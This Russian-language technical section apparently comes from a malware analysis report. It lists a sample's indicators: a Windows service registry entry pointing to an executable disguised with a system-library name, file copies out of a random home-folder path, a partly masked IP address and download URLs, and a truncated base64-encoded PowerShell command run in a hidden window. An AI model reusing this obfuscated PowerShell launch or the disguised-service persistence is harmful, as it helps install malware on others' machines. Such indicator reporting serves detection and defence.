Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-crt-heap-l1-1-0] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\api-ms-win-crt-heap-l1-1-0] 'ImagePath' = '"%WINDIR%\SysWOW64\BWContextHandler\api-ms-win-crt-heap-l1-1-0.exe"'
- 'api-ms-win-crt-heap-l1-1-0' "%WINDIR%\SysWOW64\BWContextHandler\api-ms-win-crt-heap-l1-1-0.exe"
- 'api-ms-win-crt-heap-l1-1-0' %WINDIR%\SysWOW64\BWContextHandler\api-ms-win-crt-heap-l1-1-0.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbw...
- %HOMEPATH%\puyki0l\dzkm53i\r0cx8yuqw.exe
- %WINDIR%\syswow64\bwcontexthandler\api-ms-win-crt-heap-l1-1-0.exe
- %HOMEPATH%\puyki0l\dzkm53i\r0cx8yuqw.exe в %WINDIR%\syswow64\bwcontexthandler\api-ms-win-crt-heap-l1-1-0.exe
- '10#.#93.103.61':80
- http://da###etquan.com/wp-content/wra6K/
- http://10#.#93.103.61/p8q3U/h3UfG7Sj3W1zF/
- DNS ASK da###etquan.com
- '%HOMEPATH%\puyki0l\dzkm53i\r0cx8yuqw.exe'
- '%WINDIR%\syswow64\bwcontexthandler\api-ms-win-crt-heap-l1-1-0.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbw...' (со скрытым окном)